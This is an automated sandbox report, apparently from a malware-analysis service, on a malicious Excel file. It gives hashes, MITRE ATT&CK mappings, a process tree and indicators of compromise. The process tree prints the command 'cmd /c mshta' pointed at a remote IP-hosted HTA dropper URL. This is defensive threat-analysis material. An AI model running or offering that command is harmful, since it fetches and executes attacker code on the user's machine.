64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 20:59

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General

Target

64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04.xls
Size

76KB
MD5

0afc258310d09e92454c3679dc9d5298
SHA1

f3ad63f18b438dc13b0a071027ad0369ee3f3f97
SHA256

64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04
SHA512

d39a39f9e1e35f52ce11039ecd4f6f26e05ba816d5430b1a376f8fb3df31a57f21246ea571ab25b0a2962ec285e87cdbe57eed4488166887c7854d1984ecb1ec
SSDEEP

1536:1I+Hymsbck3hbdlylKsgqopeJBWhZFGkE+cMLxAAISQ5gQ72IotO6nitSU6U+x:1I+HymsYk3hbdlylKsgqopeJBWhZFGkz

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/zzx/ccv/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2536	2440	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2364	mshta.exe
5	2364	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2440	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2536	2440	EXCEL.EXE	30
PID 2440 wrote to memory of 2536	2440	EXCEL.EXE	30
PID 2440 wrote to memory of 2536	2440	EXCEL.EXE	30
PID 2440 wrote to memory of 2536	2440	EXCEL.EXE	30
PID 2536 wrote to memory of 2364	2536	cmd.exe	32
PID 2536 wrote to memory of 2364	2536	cmd.exe	32
PID 2536 wrote to memory of 2364	2536	cmd.exe	32
PID 2536 wrote to memory of 2364	2536	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/zzx/ccv/fe.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2440-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2440-1-0x0000000072A1D000-0x0000000072A28000-memory.dmp

Filesize
44KB

Download
memory/2440-2-0x0000000072A1D000-0x0000000072A28000-memory.dmp

Filesize
44KB

Download